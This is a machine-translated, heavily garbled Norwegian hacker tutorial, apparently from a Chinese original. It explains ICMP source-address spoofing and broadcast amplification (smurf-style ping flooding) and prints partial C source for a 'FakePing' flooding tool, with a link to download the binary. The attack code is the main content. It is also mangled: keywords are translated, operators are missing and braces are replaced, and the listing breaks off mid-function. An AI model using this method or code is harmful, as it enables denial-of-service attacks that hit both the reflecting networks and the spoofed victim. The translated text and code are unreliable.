Nylig, mange ringer deg igjen for å gå med hva Ping døde hvilket nettsted, men teknisk sett, uansett hva denial of service angrep, trenger vi å tilfredsstille en betingelse: med minst ressurser i bytte for å være det største forbruket av angriperen. Vi liker å gå med Ping er ikke bare rart: med den største ressurs for hverandre de minst skade, er latterlig: folkets krig for 50 år siden, trolig tilhører handle, og i Internet alder, ikke hvor mange som vil være i stand til.
I dag er vi for Ping's, Ping er ved å sende ICMP-meldingen (type 8 kode 0) til å utforske eksistensen av nettverket verter et verktøy, for lenge siden, en del av operativsystemet (f.eks win95), er ikke godt behandlet med store Ping-pakker , resulterer i en Ping to Death angrep (Ping pose med en stor ruin hverandre eller utstoppede nettverk), med oppgraderinger av operativsystemet, nettverk båndbredden oppgraderinger, maskinvare oppgraderinger, i dag, nesten ingen store Ping pakker store angrep effekt (unntatt for distribuerte angrep), hvis vi må bruke Ping-pakker for å angripe andre maskiner, med mindre bruker TCP / IP-protokollen eller andre kjennetegn ved nettverkstopologi de fleste forsterket intensiteten i angrepene (såkalte positive tilbakemeldinger)
Under normale omstendigheter, Ping prosessen er slik:
Host A sender pakker til verten ICMP 8,0 B
Host B sender tilbake meldinger til verten ICMP 0,0 A
Siden ICMP var ingen link på, så ga oss en mulighet, forutsatt at det vert A nå posing som vert å sende ICMP 8,0 C-pakker, resultatene hva som ville skje? Åpenbart vil verten B host C sende denne rapporten er papir borte
Svaret å vert C, følgende struktur:
C-feil som utgir seg for verten respons
Host A --------------------- Div. B ------------------ Host C
Denne saken, som vert for en kun trenger å holde sending Ping pakker uten å måtte håndtere retur av EchoReply, så arbeidet har mangedoblet angrepet, mens faktisk verten B og vert C skal være mål for angrep, og vil ikke bli under sitt eget merke, er et skjult angrep to fluer i en smekk tilnærming.
Metoder SOCK_RAW over IP kan lett kamuflere, men selv utvidet to ganger, til de mer robust operativsystem, og jo større båndbredde, og heller ikke har så mye effekt, gjør vi igjen organisert idrett? Ikke akkurat, la fienden til oss for å forstørre Vel, TCP / IP i et konsept kalt kringkasting, den såkalte kringkasting menes at det er en adresse, noen vert innen LAN vil bli sendt til denne adressen for å motta meldingen (det samme som radio kringkasting) if? gjøre? Ja! Hvis vi går til en broadcast adresse for å sende ICMP ECHO pakke (som er Ping broadcast adressen det), vil resultatet bli mye respons, Ethernet, slik at hver motta en broadcast melding vert respons en ICMP_ECHOREPLY, hvis du vil teste, kan maskinen være unix Ping LAN broadcast adresse hva du vil se en masse svar på dup pakken, er å gjenta responsen, vinduer systemet på en Zhe Yang Bu Hui resultater fordi Microsofts Ping-programmet svarer ikke til flere pakket ut, den første pakken mottatt etter droppet bak, og også Microsofts systemet ikke svarer til å kringkaste adressen til standard pakken, så du bedre i mange unix vert LAN test.
Her smart Du vet hva jeg vil gjøre nå? Hei hei, ja, når vi later til å være en broadcast adresse for å angripe verten sender Ping forespørsel tid, vil alle broadcast adressen til verten svare på Ping-forespørsel Dette tilsvarer intensiteten i angrepene er N ganger! (N = broadcast-adresse for å svare på Ping-pakker innen det antall verter)
Maskert som verten C er feil hele radiovert respons
Host A --------------------- broadcast adressen ======================= == Host C
Jeg skrev en FakePing verktøyet, kan du Http: / / www.patching.net / hagle / FakePing.exe nedlasting.
Behandling er FakePing.exe FakeIP TargetIP [PacketSize], dersom TargetIP er broadcast adressen, så FakeIP var målrettet.
Kilde annonsert som følger:
typedef struct _iphdr / / definisjon av IP-hodet
(
unsigned char h_verlen; / / 4 位 første minister grader, IP versjon 4
unsigned char Betingelsene; / / 8 type tjenester vil TOS
usignert kort total_len; / / 16 median total lengde (bytes)
usignert kort ident; / / 16-bits identifisering
usignert kort frag_and_flags; / / 3 flagg biter
unsigned char TTL; / / 8 median overlevelse av TTL
unsigned char proto; / / 8-bits protokoll (TCP, UDP eller annet)
usignert kort sjekksum; / / 16 位 IP header checksum
usignert int sourceIP; / / 32 digital kilde IP-adresse
usignert int destIP; / / 32 位 Formålet med IP-adresse
) IP_HEADER;
/ / Definer ICMP header
typedef struct _ihdr
(
BYTE i_type; / / 8 bit type
BYTE i_code; / / 8-bits kode
USHORT i_cksum; / / 16 bit sjekksum
USHORT i_id; / / identifikasjonsnummer (vanligvis med prosessen nummeret som ID-nummer)
USHORT i_seq; / / Message sekvensnummer
ULONG timestamp; / / klokkeslett-stempel
) ICMP_HEADER;
/ / Sjekksum: beregning av sjekksum Funksjoner
USHORT sjekksum (USHORT * buffer, int størrelse)
(
usignert lange cksum = 0;
mens (størrelse 1)
(
cksum + =* buffer + +;
Størrelsen -= sizeof (USHORT);
)
if (størrelse)
(
cksum + = * (UCHAR *) buffer;
)
cksum = (cksum 16) + (cksum & 0xFFFF);
cksum + = (cksum 16);
avkastning (USHORT) (~ cksum);
)
/ / FakePing hovedfunksjon
int main (int argc, røye ** argv)
(
int datasize, ErrorCode, teller, flagg;
int TimeOut = 2000, SendSEQ = 0, PacketSize = 32;
røye SendBuf [65535] = (0);
WSADATA wsaData;
SOCKET SockRaw = (SOCKET) NULL;
struct sockaddr_in DestAddr;
IP_HEADER ip_header;
ICMP_HEADER icmp_header;
røye FakeSourceIp [20], DestIp [20];
/ / Aksepter kommandolinjeparametrene
if (argc 3)
(
printf ("FakePing av Shotgun
");
printf ("Dette programmet kan gjøre Ping-Flooding fra en FakeIP
");
printf ("Bruke en broadcast IP som FakeIP vil forsterke effekten
");
printf ("E-post:
");
printf ("Shotgun@Xici.Net
");
printf ("HomePage:
");
printf ("http://It.Xici.Net
");
printf ("http://www.Patching.Net
");
printf ("BRUK:
FakePing.exe FakeSourceIp DestinationIp [PacketSize]
");
printf ("Eksempel:
");
printf ("FakePing.exe 192.168.15.23 192.168.15.255
");
printf ("FakePing.exe 192.168.15.23 192.168.15.200 6400
");
exit (0);
)
strcpy (FakeSourceIp, argv [1]);
strcpy (DestIp, argv [2]);
if (argc 3) PacketSize = atoi (argv [3]);
if (PacketSize 60000)
(
printf ("Feil! Packet størrelse for stor, må 60K
");
exit (0);
)
printf ("Nå Fake% s Ping% s bruker Packet size =% d byte
"
FakeSourceIp, DestIp, PacketSize);
printf ("Ctrl + C for å avslutte
");
/ / Initialiser SOCK_RAW
if ((ErrorCode = WSAStartup (MAKEWORD (2,1), og wsaData))! = 0)
(
fprintf (standardfeil, "WSAStartup feilet:% d
», ErrorCode);
ExitProcess (STATUS_FAILED);
)
if ((SockRaw = WSASocket (AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)
(
fprintf (standardfeil, "WSASocket () feilet:% d
», WSAGetLastError ());
ExitProcess (STATUS_FAILED);
)
flag = TRUE;
/ / Sett IP_HDRINCL fylle sine egne IP header
ErrorCode = Setsockopt (SockRaw, IPPROTO_IP, IP_HDRINCL, (char *) og flagg, sizeof (int));
if (ErrorCode == SOCKET_ERROR)
printf ("Set IP_HDRINCL Feil!
");
__try
(
/ / Set send timeout
ErrorCode = Setsockopt (SockRaw, SOL_SOCKET, SO_SNDTIMEO, (char *) og TimeOut, sizeof (TimeOut));
if (ErrorCode == SOCKET_ERROR)
(
fprintf (standardfeil, "Klarte ikke å sette sende TimeOut:% d
», WSAGetLastError ());
__leave;
)
memset (& DestAddr, 0, sizeof (DestAddr));
DestAddr.sin_family = AF_INET;
DestAddr.sin_addr.s_addr = inet_addr (DestIp);
/ / Fyll IP header
ip_header.h_verlen = (4 4 | sizeof (ip_header) / sizeof (usignerte lang)); / / high 4 IP versjon nummer, den første ministeren i den lave graden av fire
ip_header.total_len = htons (sizeof (IP_HEADER) + sizeof (ICMP_HEADER)); / / 16 median total lengde (bytes)
ip_header.ident = 1;
/ / 16 ID
ip_header.frag_and_flags = 0;
/ / 3 flagg
ip_header.ttl = 128;
/ / 8-bit TTL overlevelse
ip_header.proto = IPPROTO_ICMP;